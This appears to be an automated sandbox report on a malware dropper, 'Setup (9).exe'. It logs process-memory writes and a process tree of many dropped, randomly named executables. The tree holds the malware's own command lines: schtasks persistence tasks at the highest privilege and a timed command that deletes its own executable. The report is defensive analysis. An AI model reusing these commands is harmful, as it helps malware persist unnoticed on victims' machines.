description pid Process procid_target PID 3040 wrote to memory of 4364 3040 Setup (9).exe 90 PID 3040 wrote to memory of 4364 3040 Setup (9).exe 90 PID 3040 wrote to memory of 4836 3040 Setup (9).exe 89 PID 3040 wrote to memory of 4836 3040 Setup (9).exe 89 PID 3040 wrote to memory of 4836 3040 Setup (9).exe 89 PID 3040 wrote to memory of 4944 3040 Setup (9).exe 91 PID 3040 wrote to memory of 4944 3040 Setup (9).exe 91 PID 3040 wrote to memory of 4944 3040 Setup (9).exe 91 PID 3040 wrote to memory of 4928 3040 Setup (9).exe 92 PID 3040 wrote to memory of 4928 3040 Setup (9).exe 92 PID 3040 wrote to memory of 4928 3040 Setup (9).exe 92 PID 3040 wrote to memory of 3168 3040 Setup (9).exe 93 PID 3040 wrote to memory of 3168 3040 Setup (9).exe 93 PID 3040 wrote to memory of 3168 3040 Setup (9).exe 93 PID 3040 wrote to memory of 3028 3040 Setup (9).exe 105 PID 3040 wrote to memory of 3028 3040 Setup (9).exe 105 PID 3040 wrote to memory of 3028 3040 Setup (9).exe 105 PID 3040 wrote to memory of 4440 3040 Setup (9).exe 104 PID 3040 wrote to memory of 4440 3040 Setup (9).exe 104 PID 3040 wrote to memory of 4440 3040 Setup (9).exe 104 PID 3040 wrote to memory of 2776 3040 Setup (9).exe 103 PID 3040 wrote to memory of 2776 3040 Setup (9).exe 103 PID 3040 wrote to memory of 2776 3040 Setup (9).exe 103 PID 3040 wrote to memory of 588 3040 Setup (9).exe 102 PID 3040 wrote to memory of 588 3040 Setup (9).exe 102 PID 3040 wrote to memory of 588 3040 Setup (9).exe 102 PID 3040 wrote to memory of 668 3040 Setup (9).exe 101 PID 3040 wrote to memory of 668 3040 Setup (9).exe 101 PID 3040 wrote to memory of 1016 3040 Setup (9).exe 100 PID 3040 wrote to memory of 1016 3040 Setup (9).exe 100 PID 3040 wrote to memory of 1016 3040 Setup (9).exe 100 PID 3040 wrote to memory of 852 3040 Setup (9).exe 99 PID 3040 wrote to memory of 852 3040 Setup (9).exe 99 PID 3040 wrote to memory of 852 3040 Setup (9).exe 99 PID 3040 wrote to memory of 1164 3040 Setup (9).exe 97 PID 3040 wrote to memory of 1164 3040 Setup (9).exe 97 PID 3040 wrote to memory of 1164 3040 Setup (9).exe 97 PID 3040 wrote to memory of 1188 3040 Setup (9).exe 96 PID 3040 wrote to memory of 1188 3040 Setup (9).exe 96 PID 3040 wrote to memory of 1188 3040 Setup (9).exe 96 PID 3040 wrote to memory of 1372 3040 Setup (9).exe 95 PID 3040 wrote to memory of 1372 3040 Setup (9).exe 95 PID 3040 wrote to memory of 1372 3040 Setup (9).exe 95 PID 3040 wrote to memory of 896 3040 Setup (9).exe 98 PID 3040 wrote to memory of 896 3040 Setup (9).exe 98 PID 3040 wrote to memory of 896 3040 Setup (9).exe 98 PID 3040 wrote to memory of 1436 3040 Setup (9).exe 94 PID 3040 wrote to memory of 1436 3040 Setup (9).exe 94 PID 3040 wrote to memory of 1436 3040 Setup (9).exe 94 PID 3040 wrote to memory of 2380 3040 Setup (9).exe 109 PID 3040 wrote to memory of 2380 3040 Setup (9).exe 109 PID 3040 wrote to memory of 2380 3040 Setup (9).exe 109 PID 3040 wrote to memory of 2440 3040 Setup (9).exe 108 PID 3040 wrote to memory of 2440 3040 Setup (9).exe 108 PID 3040 wrote to memory of 2440 3040 Setup (9).exe 108 PID 3040 wrote to memory of 2968 3040 Setup (9).exe 106 PID 3040 wrote to memory of 2968 3040 Setup (9).exe 106 PID 3040 wrote to memory of 2968 3040 Setup (9).exe 106 PID 3040 wrote to memory of 556 3040 Setup (9).exe 115 PID 3040 wrote to memory of 556 3040 Setup (9).exe 115 PID 3040 wrote to memory of 556 3040 Setup (9).exe 115 PID 3040 wrote to memory of 1288 3040 Setup (9).exe 116 PID 3040 wrote to memory of 1288 3040 Setup (9).exe 116 PID 3040 wrote to memory of 1288 3040 Setup (9).exe 116
Processes
-
C:\Users\Admin\AppData\Local\Temp\Setup (9).exe"C:\Users\Admin\AppData\Local\Temp\Setup (9).exe"1⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:3040 -
C:\Users\Admin\Documents\wlTQlQ6vqAuQGsPEhg161kpy.exe"C:\Users\Admin\Documents\wlTQlQ6vqAuQGsPEhg161kpy.exe"2⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
PID:4836 -
C:\Users\Admin\Documents\wlTQlQ6vqAuQGsPEhg161kpy.exe"C:\Users\Admin\Documents\wlTQlQ6vqAuQGsPEhg161kpy.exe"3⤵
- Executes dropped EXE
- Checks SCSI registry key(s)
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: MapViewOfSection
PID:2280
-
-
-
C:\Users\Admin\Documents\boArBZOVxq_SZiOyaTz0bb_H.exe"C:\Users\Admin\Documents\boArBZOVxq_SZiOyaTz0bb_H.exe"2⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
PID:4364
-
-
C:\Users\Admin\Documents\m9Ig_FB1zNcgA48YXDvGnGtX.exe"C:\Users\Admin\Documents\m9Ig_FB1zNcgA48YXDvGnGtX.exe"2⤵
- Executes dropped EXE
PID:4944 -
C:\Users\Admin\Documents\m9Ig_FB1zNcgA48YXDvGnGtX.exe"C:\Users\Admin\Documents\m9Ig_FB1zNcgA48YXDvGnGtX.exe"3⤵PID:1860
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 1860 -s 12484⤵
- Program crash
PID:6388
-
-
-
-
C:\Users\Admin\Documents\xvOTdaL7NVTvibdGwDQ26Lc_.exe"C:\Users\Admin\Documents\xvOTdaL7NVTvibdGwDQ26Lc_.exe"2⤵
- Executes dropped EXE
PID:4928 -
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 4928 -s 2403⤵
- Program crash
PID:6080
-
-
-
C:\Users\Admin\Documents\ISK1no2SA3_AfvFBvvJ9zdBn.exe"C:\Users\Admin\Documents\ISK1no2SA3_AfvFBvvJ9zdBn.exe"2⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
PID:3168 -
C:\Users\Admin\Documents\ISK1no2SA3_AfvFBvvJ9zdBn.exeC:\Users\Admin\Documents\ISK1no2SA3_AfvFBvvJ9zdBn.exe3⤵
- Executes dropped EXE
PID:2908
-
-
C:\Users\Admin\Documents\ISK1no2SA3_AfvFBvvJ9zdBn.exeC:\Users\Admin\Documents\ISK1no2SA3_AfvFBvvJ9zdBn.exe3⤵
- Executes dropped EXE
PID:5496
-
-
C:\Users\Admin\Documents\ISK1no2SA3_AfvFBvvJ9zdBn.exeC:\Users\Admin\Documents\ISK1no2SA3_AfvFBvvJ9zdBn.exe3⤵PID:3744
-
-
C:\Users\Admin\Documents\ISK1no2SA3_AfvFBvvJ9zdBn.exeC:\Users\Admin\Documents\ISK1no2SA3_AfvFBvvJ9zdBn.exe3⤵PID:1180
-
-
C:\Users\Admin\Documents\ISK1no2SA3_AfvFBvvJ9zdBn.exeC:\Users\Admin\Documents\ISK1no2SA3_AfvFBvvJ9zdBn.exe3⤵PID:1556
-
-
C:\Users\Admin\Documents\ISK1no2SA3_AfvFBvvJ9zdBn.exeC:\Users\Admin\Documents\ISK1no2SA3_AfvFBvvJ9zdBn.exe3⤵PID:5048
-
-
C:\Users\Admin\Documents\ISK1no2SA3_AfvFBvvJ9zdBn.exeC:\Users\Admin\Documents\ISK1no2SA3_AfvFBvvJ9zdBn.exe3⤵PID:6036
-
-
C:\Users\Admin\Documents\ISK1no2SA3_AfvFBvvJ9zdBn.exeC:\Users\Admin\Documents\ISK1no2SA3_AfvFBvvJ9zdBn.exe3⤵PID:236
-
-
C:\Users\Admin\Documents\ISK1no2SA3_AfvFBvvJ9zdBn.exeC:\Users\Admin\Documents\ISK1no2SA3_AfvFBvvJ9zdBn.exe3⤵PID:4636
-
-
C:\Users\Admin\Documents\ISK1no2SA3_AfvFBvvJ9zdBn.exeC:\Users\Admin\Documents\ISK1no2SA3_AfvFBvvJ9zdBn.exe3⤵PID:3124
-
-
C:\Users\Admin\Documents\ISK1no2SA3_AfvFBvvJ9zdBn.exeC:\Users\Admin\Documents\ISK1no2SA3_AfvFBvvJ9zdBn.exe3⤵PID:1704
-
-
C:\Users\Admin\Documents\ISK1no2SA3_AfvFBvvJ9zdBn.exeC:\Users\Admin\Documents\ISK1no2SA3_AfvFBvvJ9zdBn.exe3⤵PID:2680
-
-
C:\Users\Admin\Documents\ISK1no2SA3_AfvFBvvJ9zdBn.exeC:\Users\Admin\Documents\ISK1no2SA3_AfvFBvvJ9zdBn.exe3⤵PID:3248
-
-
C:\Users\Admin\Documents\ISK1no2SA3_AfvFBvvJ9zdBn.exeC:\Users\Admin\Documents\ISK1no2SA3_AfvFBvvJ9zdBn.exe3⤵PID:7260
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 7260 -s 284⤵
- Program crash
PID:8172
-
-
-
C:\Users\Admin\Documents\ISK1no2SA3_AfvFBvvJ9zdBn.exeC:\Users\Admin\Documents\ISK1no2SA3_AfvFBvvJ9zdBn.exe3⤵PID:7180
-
-
C:\Users\Admin\Documents\ISK1no2SA3_AfvFBvvJ9zdBn.exeC:\Users\Admin\Documents\ISK1no2SA3_AfvFBvvJ9zdBn.exe3⤵PID:7152
-
-
C:\Users\Admin\Documents\ISK1no2SA3_AfvFBvvJ9zdBn.exeC:\Users\Admin\Documents\ISK1no2SA3_AfvFBvvJ9zdBn.exe3⤵PID:5484
-
-
C:\Users\Admin\Documents\ISK1no2SA3_AfvFBvvJ9zdBn.exeC:\Users\Admin\Documents\ISK1no2SA3_AfvFBvvJ9zdBn.exe3⤵PID:5908
-
-
C:\Users\Admin\Documents\ISK1no2SA3_AfvFBvvJ9zdBn.exeC:\Users\Admin\Documents\ISK1no2SA3_AfvFBvvJ9zdBn.exe3⤵PID:8920
-
-
C:\Users\Admin\Documents\ISK1no2SA3_AfvFBvvJ9zdBn.exeC:\Users\Admin\Documents\ISK1no2SA3_AfvFBvvJ9zdBn.exe3⤵PID:5796
-
-
C:\Users\Admin\Documents\ISK1no2SA3_AfvFBvvJ9zdBn.exeC:\Users\Admin\Documents\ISK1no2SA3_AfvFBvvJ9zdBn.exe3⤵PID:8320
-
-
C:\Users\Admin\Documents\ISK1no2SA3_AfvFBvvJ9zdBn.exeC:\Users\Admin\Documents\ISK1no2SA3_AfvFBvvJ9zdBn.exe3⤵PID:5140
-
-
C:\Users\Admin\Documents\ISK1no2SA3_AfvFBvvJ9zdBn.exeC:\Users\Admin\Documents\ISK1no2SA3_AfvFBvvJ9zdBn.exe3⤵PID:4080
-
-
C:\Users\Admin\Documents\ISK1no2SA3_AfvFBvvJ9zdBn.exeC:\Users\Admin\Documents\ISK1no2SA3_AfvFBvvJ9zdBn.exe3⤵PID:8660
-
-
C:\Users\Admin\Documents\ISK1no2SA3_AfvFBvvJ9zdBn.exeC:\Users\Admin\Documents\ISK1no2SA3_AfvFBvvJ9zdBn.exe3⤵PID:7620
-
-
C:\Users\Admin\Documents\ISK1no2SA3_AfvFBvvJ9zdBn.exeC:\Users\Admin\Documents\ISK1no2SA3_AfvFBvvJ9zdBn.exe3⤵PID:8432
-
-
C:\Users\Admin\Documents\ISK1no2SA3_AfvFBvvJ9zdBn.exeC:\Users\Admin\Documents\ISK1no2SA3_AfvFBvvJ9zdBn.exe3⤵PID:3380
-
-
C:\Users\Admin\Documents\ISK1no2SA3_AfvFBvvJ9zdBn.exeC:\Users\Admin\Documents\ISK1no2SA3_AfvFBvvJ9zdBn.exe3⤵PID:4036
-
-
C:\Users\Admin\Documents\ISK1no2SA3_AfvFBvvJ9zdBn.exeC:\Users\Admin\Documents\ISK1no2SA3_AfvFBvvJ9zdBn.exe3⤵PID:3984
-
-
C:\Users\Admin\Documents\ISK1no2SA3_AfvFBvvJ9zdBn.exeC:\Users\Admin\Documents\ISK1no2SA3_AfvFBvvJ9zdBn.exe3⤵PID:9876
-
-
C:\Users\Admin\Documents\ISK1no2SA3_AfvFBvvJ9zdBn.exeC:\Users\Admin\Documents\ISK1no2SA3_AfvFBvvJ9zdBn.exe3⤵PID:10020
-
-
C:\Users\Admin\Documents\ISK1no2SA3_AfvFBvvJ9zdBn.exeC:\Users\Admin\Documents\ISK1no2SA3_AfvFBvvJ9zdBn.exe3⤵PID:11196
-
-
C:\Users\Admin\Documents\ISK1no2SA3_AfvFBvvJ9zdBn.exeC:\Users\Admin\Documents\ISK1no2SA3_AfvFBvvJ9zdBn.exe3⤵PID:7568
-
-
C:\Users\Admin\Documents\ISK1no2SA3_AfvFBvvJ9zdBn.exeC:\Users\Admin\Documents\ISK1no2SA3_AfvFBvvJ9zdBn.exe3⤵PID:5248
-
-
C:\Users\Admin\Documents\ISK1no2SA3_AfvFBvvJ9zdBn.exeC:\Users\Admin\Documents\ISK1no2SA3_AfvFBvvJ9zdBn.exe3⤵PID:8356
-
-
C:\Users\Admin\Documents\ISK1no2SA3_AfvFBvvJ9zdBn.exeC:\Users\Admin\Documents\ISK1no2SA3_AfvFBvvJ9zdBn.exe3⤵PID:5912
-
-
C:\Users\Admin\Documents\ISK1no2SA3_AfvFBvvJ9zdBn.exeC:\Users\Admin\Documents\ISK1no2SA3_AfvFBvvJ9zdBn.exe3⤵PID:11188
-
-
C:\Users\Admin\Documents\ISK1no2SA3_AfvFBvvJ9zdBn.exeC:\Users\Admin\Documents\ISK1no2SA3_AfvFBvvJ9zdBn.exe3⤵PID:12084
-
-
C:\Users\Admin\Documents\ISK1no2SA3_AfvFBvvJ9zdBn.exeC:\Users\Admin\Documents\ISK1no2SA3_AfvFBvvJ9zdBn.exe3⤵PID:12064
-
-
C:\Users\Admin\Documents\ISK1no2SA3_AfvFBvvJ9zdBn.exeC:\Users\Admin\Documents\ISK1no2SA3_AfvFBvvJ9zdBn.exe3⤵PID:3504
-
-
C:\Users\Admin\Documents\ISK1no2SA3_AfvFBvvJ9zdBn.exeC:\Users\Admin\Documents\ISK1no2SA3_AfvFBvvJ9zdBn.exe3⤵PID:12356
-
-
C:\Users\Admin\Documents\ISK1no2SA3_AfvFBvvJ9zdBn.exeC:\Users\Admin\Documents\ISK1no2SA3_AfvFBvvJ9zdBn.exe3⤵PID:6364
-
-
C:\Users\Admin\Documents\ISK1no2SA3_AfvFBvvJ9zdBn.exeC:\Users\Admin\Documents\ISK1no2SA3_AfvFBvvJ9zdBn.exe3⤵PID:12972
-
-
C:\Users\Admin\Documents\ISK1no2SA3_AfvFBvvJ9zdBn.exeC:\Users\Admin\Documents\ISK1no2SA3_AfvFBvvJ9zdBn.exe3⤵PID:12044
-
-
C:\Users\Admin\Documents\ISK1no2SA3_AfvFBvvJ9zdBn.exeC:\Users\Admin\Documents\ISK1no2SA3_AfvFBvvJ9zdBn.exe3⤵PID:13676
-
-
C:\Users\Admin\Documents\ISK1no2SA3_AfvFBvvJ9zdBn.exeC:\Users\Admin\Documents\ISK1no2SA3_AfvFBvvJ9zdBn.exe3⤵PID:13900
-
-
C:\Users\Admin\Documents\ISK1no2SA3_AfvFBvvJ9zdBn.exeC:\Users\Admin\Documents\ISK1no2SA3_AfvFBvvJ9zdBn.exe3⤵PID:13364
-
-
C:\Users\Admin\Documents\ISK1no2SA3_AfvFBvvJ9zdBn.exeC:\Users\Admin\Documents\ISK1no2SA3_AfvFBvvJ9zdBn.exe3⤵PID:2860
-
-
C:\Users\Admin\Documents\ISK1no2SA3_AfvFBvvJ9zdBn.exeC:\Users\Admin\Documents\ISK1no2SA3_AfvFBvvJ9zdBn.exe3⤵PID:14112
-
-
C:\Users\Admin\Documents\ISK1no2SA3_AfvFBvvJ9zdBn.exeC:\Users\Admin\Documents\ISK1no2SA3_AfvFBvvJ9zdBn.exe3⤵PID:14784
-
-
C:\Users\Admin\Documents\ISK1no2SA3_AfvFBvvJ9zdBn.exeC:\Users\Admin\Documents\ISK1no2SA3_AfvFBvvJ9zdBn.exe3⤵PID:14152
-
-
C:\Users\Admin\Documents\ISK1no2SA3_AfvFBvvJ9zdBn.exeC:\Users\Admin\Documents\ISK1no2SA3_AfvFBvvJ9zdBn.exe3⤵PID:12456
-
-
C:\Users\Admin\Documents\ISK1no2SA3_AfvFBvvJ9zdBn.exeC:\Users\Admin\Documents\ISK1no2SA3_AfvFBvvJ9zdBn.exe3⤵PID:9136
-
-
C:\Users\Admin\Documents\ISK1no2SA3_AfvFBvvJ9zdBn.exeC:\Users\Admin\Documents\ISK1no2SA3_AfvFBvvJ9zdBn.exe3⤵PID:13592
-
-
C:\Users\Admin\Documents\ISK1no2SA3_AfvFBvvJ9zdBn.exeC:\Users\Admin\Documents\ISK1no2SA3_AfvFBvvJ9zdBn.exe3⤵PID:13280
-
-
C:\Users\Admin\Documents\ISK1no2SA3_AfvFBvvJ9zdBn.exeC:\Users\Admin\Documents\ISK1no2SA3_AfvFBvvJ9zdBn.exe3⤵PID:15228
-
-
C:\Users\Admin\Documents\ISK1no2SA3_AfvFBvvJ9zdBn.exeC:\Users\Admin\Documents\ISK1no2SA3_AfvFBvvJ9zdBn.exe3⤵PID:4368
-
-
C:\Users\Admin\Documents\ISK1no2SA3_AfvFBvvJ9zdBn.exeC:\Users\Admin\Documents\ISK1no2SA3_AfvFBvvJ9zdBn.exe3⤵PID:11648
-
-
C:\Users\Admin\Documents\ISK1no2SA3_AfvFBvvJ9zdBn.exeC:\Users\Admin\Documents\ISK1no2SA3_AfvFBvvJ9zdBn.exe3⤵PID:15416
-
-
C:\Users\Admin\Documents\ISK1no2SA3_AfvFBvvJ9zdBn.exeC:\Users\Admin\Documents\ISK1no2SA3_AfvFBvvJ9zdBn.exe3⤵PID:15988
-
-
C:\Users\Admin\Documents\ISK1no2SA3_AfvFBvvJ9zdBn.exeC:\Users\Admin\Documents\ISK1no2SA3_AfvFBvvJ9zdBn.exe3⤵PID:14968
-
-
C:\Users\Admin\Documents\ISK1no2SA3_AfvFBvvJ9zdBn.exeC:\Users\Admin\Documents\ISK1no2SA3_AfvFBvvJ9zdBn.exe3⤵PID:4704
-
-
C:\Users\Admin\Documents\ISK1no2SA3_AfvFBvvJ9zdBn.exeC:\Users\Admin\Documents\ISK1no2SA3_AfvFBvvJ9zdBn.exe3⤵PID:16400
-
-
C:\Users\Admin\Documents\ISK1no2SA3_AfvFBvvJ9zdBn.exeC:\Users\Admin\Documents\ISK1no2SA3_AfvFBvvJ9zdBn.exe3⤵PID:11368
-
-
C:\Users\Admin\Documents\ISK1no2SA3_AfvFBvvJ9zdBn.exeC:\Users\Admin\Documents\ISK1no2SA3_AfvFBvvJ9zdBn.exe3⤵PID:10016
-
-
C:\Users\Admin\Documents\ISK1no2SA3_AfvFBvvJ9zdBn.exeC:\Users\Admin\Documents\ISK1no2SA3_AfvFBvvJ9zdBn.exe3⤵PID:1156
-
-
C:\Users\Admin\Documents\ISK1no2SA3_AfvFBvvJ9zdBn.exeC:\Users\Admin\Documents\ISK1no2SA3_AfvFBvvJ9zdBn.exe3⤵PID:19840
-
-
C:\Users\Admin\Documents\ISK1no2SA3_AfvFBvvJ9zdBn.exeC:\Users\Admin\Documents\ISK1no2SA3_AfvFBvvJ9zdBn.exe3⤵PID:18164
-
-
C:\Users\Admin\Documents\ISK1no2SA3_AfvFBvvJ9zdBn.exeC:\Users\Admin\Documents\ISK1no2SA3_AfvFBvvJ9zdBn.exe3⤵PID:20688
-
-
C:\Users\Admin\Documents\ISK1no2SA3_AfvFBvvJ9zdBn.exeC:\Users\Admin\Documents\ISK1no2SA3_AfvFBvvJ9zdBn.exe3⤵PID:19708
-
-
C:\Users\Admin\Documents\ISK1no2SA3_AfvFBvvJ9zdBn.exeC:\Users\Admin\Documents\ISK1no2SA3_AfvFBvvJ9zdBn.exe3⤵PID:12972
-
-
C:\Users\Admin\Documents\ISK1no2SA3_AfvFBvvJ9zdBn.exeC:\Users\Admin\Documents\ISK1no2SA3_AfvFBvvJ9zdBn.exe3⤵PID:22468
-
-
-
C:\Users\Admin\Documents\pjQMZqs0RfBwM0djZskb9ToS.exe"C:\Users\Admin\Documents\pjQMZqs0RfBwM0djZskb9ToS.exe"2⤵
- Executes dropped EXE
PID:1436 -
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 1436 -s 2763⤵
- Program crash
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: EnumeratesProcesses
PID:3504
-
-
-
C:\Users\Admin\Documents\zzANh4C1O89ZQHrVgt0Wo39y.exe"C:\Users\Admin\Documents\zzANh4C1O89ZQHrVgt0Wo39y.exe"2⤵
- Executes dropped EXE
PID:1372 -
C:\Windows\SysWOW64\cmd.execmd.exe /C timeout /T 10 /NOBREAK > Nul & Del /f /q "C:\Users\Admin\Documents\zzANh4C1O89ZQHrVgt0Wo39y.exe"3⤵PID:1980
-
C:\Windows\SysWOW64\timeout.exetimeout /T 10 /NOBREAK4⤵
- Delays execution with timeout.exe
PID:5220
-
-
-
-
C:\Users\Admin\Documents\8zOoXA1YGCr9hqtAHZ0083D7.exe"C:\Users\Admin\Documents\8zOoXA1YGCr9hqtAHZ0083D7.exe"2⤵
- Executes dropped EXE
- Drops file in Program Files directory
PID:1188 -
C:\Windows\SysWOW64\schtasks.exeschtasks /create /f /RU "Admin" /tr "C:\Program Files (x86)\PowerControl\PowerControl_Svc.exe" /tn "PowerControl HR" /sc HOURLY /rl HIGHEST3⤵
- Creates scheduled task(s)
PID:1516
-
-
C:\Windows\SysWOW64\schtasks.exeschtasks /create /f /RU "Admin" /tr "C:\Program Files (x86)\PowerControl\PowerControl_Svc.exe" /tn "PowerControl LG" /sc ONLOGON /rl HIGHEST3⤵
- Creates scheduled task(s)
PID:72
-
-
-
C:\Users\Admin\Documents\_8MIjRVTP5_LNrZl9N4ZKUBG.exe"C:\Users\Admin\Documents\_8MIjRVTP5_LNrZl9N4ZKUBG.exe"2⤵
- Executes dropped EXE
PID:1164 -
C:\Users\Admin\AppData\Local\Temp\RarSFX0\KBAvfsr.exe"C:\Users\Admin\AppData\Local\Temp\RarSFX0\KBAvfsr.exe"3⤵
- Executes dropped EXE
PID:2108 -
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 2108 -s 2804⤵
- Program crash
PID:6352
-
-
-
C:\Users\Admin\AppData\Local\Temp\RarSFX0\FkDS8ej.exe"C:\Users\Admin\AppData\Local\Temp\RarSFX0\FkDS8ej.exe"3⤵PID:7940
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 7940 -s 2804⤵
- Program crash
PID:14232
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 7940 -s 2804⤵
- Program crash
PID:14920
-
-
-
-
C:\Users\Admin\Documents\VxQkpeiY14Kpe7Kde_qqMw8h.exe"C:\Users\Admin\Documents\VxQkpeiY14Kpe7Kde_qqMw8h.exe"2⤵
- Executes dropped EXE
PID:896
-
-
C:\Users\Admin\Documents\oziqMyogmbgoot2gv4ZEITap.exe"C:\Users\Admin\Documents\oziqMyogmbgoot2gv4ZEITap.exe"2⤵
- Executes dropped EXE
PID:852 -
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 852 -s 2763⤵
- Program crash
PID:5004
-
-
-
C:\Users\Admin\Documents\4cw14okSL5_mCRZy085bzMao.exe"C:\Users\Admin\Documents\4cw14okSL5_mCRZy085bzMao.exe"2⤵
- Executes dropped EXE
- Drops file in Program Files directory
PID:1016 -
C:\Program Files (x86)\Company\NewProduct\inst001.exe"C:\Program Files (x86)\Company\NewProduct\inst001.exe"3⤵
- Executes dropped EXE
PID:1168
-
-
C:\Program Files (x86)\Company\NewProduct\cutm3.exe"C:\Program Files (x86)\Company\NewProduct\cutm3.exe"3⤵
- Executes dropped EXE
PID:4820
-
-
C:\Program Files (x86)\Company\NewProduct\md8_8eus.exe"C:\Program Files (x86)\Company\NewProduct\md8_8eus.exe"3⤵
- Executes dropped EXE
PID:3668
-
-
-
C:\Users\Admin\Documents\ErNv1QBucJ0gZsbLbUx2kPWb.exe"C:\Users\Admin\Documents\ErNv1QBucJ0gZsbLbUx2kPWb.exe"2⤵
- Executes dropped EXE
PID:668
-
-
C:\Users\Admin\Documents\GTDoKa4ljt4Lm9_Zq8PFS7nQ.exe"C:\Users\Admin\Documents\GTDoKa4ljt4Lm9_Zq8PFS7nQ.exe"2⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
PID:588 -
C:\Users\Admin\Documents\GTDoKa4ljt4Lm9_Zq8PFS7nQ.exeC:\Users\Admin\Documents\GTDoKa4ljt4Lm9_Zq8PFS7nQ.exe3⤵
- Executes dropped EXE
PID:4060
-
-
C:\Users\Admin\Documents\GTDoKa4ljt4Lm9_Zq8PFS7nQ.exeC:\Users\Admin\Documents\GTDoKa4ljt4Lm9_Zq8PFS7nQ.exe3⤵
- Executes dropped EXE
PID:5456
-
-
C:\Users\Admin\Documents\GTDoKa4ljt4Lm9_Zq8PFS7nQ.exeC:\Users\Admin\Documents\GTDoKa4ljt4Lm9_Zq8PFS7nQ.exe3⤵PID:6108
-
-
C:\Users\Admin\Documents\GTDoKa4ljt4Lm9_Zq8PFS7nQ.exeC:\Users\Admin\Documents\GTDoKa4ljt4Lm9_Zq8PFS7nQ.exe3⤵PID:5548
-
-
C:\Users\Admin\Documents\GTDoKa4ljt4Lm9_Zq8PFS7nQ.exeC:\Users\Admin\Documents\GTDoKa4ljt4Lm9_Zq8PFS7nQ.exe3⤵PID:3736
-
-
C:\Users\Admin\Documents\GTDoKa4ljt4Lm9_Zq8PFS7nQ.exeC:\Users\Admin\Documents\GTDoKa4ljt4Lm9_Zq8PFS7nQ.exe3⤵PID:5824
-
-
C:\Users\Admin\Documents\GTDoKa4ljt4Lm9_Zq8PFS7nQ.exeC:\Users\Admin\Documents\GTDoKa4ljt4Lm9_Zq8PFS7nQ.exe3⤵PID:3076
-
-
C:\Users\Admin\Documents\GTDoKa4ljt4Lm9_Zq8PFS7nQ.exeC:\Users\Admin\Documents\GTDoKa4ljt4Lm9_Zq8PFS7nQ.exe3⤵PID:5448
-
-
C:\Users\Admin\Documents\GTDoKa4ljt4Lm9_Zq8PFS7nQ.exeC:\Users\Admin\Documents\GTDoKa4ljt4Lm9_Zq8PFS7nQ.exe3⤵PID:1308
-
-
C:\Users\Admin\Documents\GTDoKa4ljt4Lm9_Zq8PFS7nQ.exeC:\Users\Admin\Documents\GTDoKa4ljt4Lm9_Zq8PFS7nQ.exe3⤵PID:5400
-
-
C:\Users\Admin\Documents\GTDoKa4ljt4Lm9_Zq8PFS7nQ.exeC:\Users\Admin\Documents\GTDoKa4ljt4Lm9_Zq8PFS7nQ.exe3⤵PID:7164
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 7164 -s 284⤵
- Program crash
PID:3224
-
-
-
C:\Users\Admin\Documents\GTDoKa4ljt4Lm9_Zq8PFS7nQ.exeC:\Users\Admin\Documents\GTDoKa4ljt4Lm9_Zq8PFS7nQ.exe3⤵PID:2372
-
-
C:\Users\Admin\Documents\GTDoKa4ljt4Lm9_Zq8PFS7nQ.exeC:\Users\Admin\Documents\GTDoKa4ljt4Lm9_Zq8PFS7nQ.exe3⤵PID:6680
-
-
C:\Users\Admin\Documents\GTDoKa4ljt4Lm9_Zq8PFS7nQ.exeC:\Users\Admin\Documents\GTDoKa4ljt4Lm9_Zq8PFS7nQ.exe3⤵PID:7880
-
-
C:\Users\Admin\Documents\GTDoKa4ljt4Lm9_Zq8PFS7nQ.exeC:\Users\Admin\Documents\GTDoKa4ljt4Lm9_Zq8PFS7nQ.exe3⤵PID:7248
-
-
C:\Users\Admin\Documents\GTDoKa4ljt4Lm9_Zq8PFS7nQ.exeC:\Users\Admin\Documents\GTDoKa4ljt4Lm9_Zq8PFS7nQ.exe3⤵PID:6424
-
-
C:\Users\Admin\Documents\GTDoKa4ljt4Lm9_Zq8PFS7nQ.exeC:\Users\Admin\Documents\GTDoKa4ljt4Lm9_Zq8PFS7nQ.exe3⤵PID:3572
-
-
C:\Users\Admin\Documents\GTDoKa4ljt4Lm9_Zq8PFS7nQ.exeC:\Users\Admin\Documents\GTDoKa4ljt4Lm9_Zq8PFS7nQ.exe3⤵PID:2564
-
-
C:\Users\Admin\Documents\GTDoKa4ljt4Lm9_Zq8PFS7nQ.exeC:\Users\Admin\Documents\GTDoKa4ljt4Lm9_Zq8PFS7nQ.exe3⤵PID:7276
-
-
C:\Users\Admin\Documents\GTDoKa4ljt4Lm9_Zq8PFS7nQ.exeC:\Users\Admin\Documents\GTDoKa4ljt4Lm9_Zq8PFS7nQ.exe3⤵PID:7488
-
-
C:\Users\Admin\Documents\GTDoKa4ljt4Lm9_Zq8PFS7nQ.exeC:\Users\Admin\Documents\GTDoKa4ljt4Lm9_Zq8PFS7nQ.exe3⤵PID:8112
-
-
C:\Users\Admin\Documents\GTDoKa4ljt4Lm9_Zq8PFS7nQ.exeC:\Users\Admin\Documents\GTDoKa4ljt4Lm9_Zq8PFS7nQ.exe3⤵PID:5684
-
-
C:\Users\Admin\Documents\GTDoKa4ljt4Lm9_Zq8PFS7nQ.exeC:\Users\Admin\Documents\GTDoKa4ljt4Lm9_Zq8PFS7nQ.exe3⤵PID:1892
-
-
C:\Users\Admin\Documents\GTDoKa4ljt4Lm9_Zq8PFS7nQ.exeC:\Users\Admin\Documents\GTDoKa4ljt4Lm9_Zq8PFS7nQ.exe3⤵PID:8968
-
-
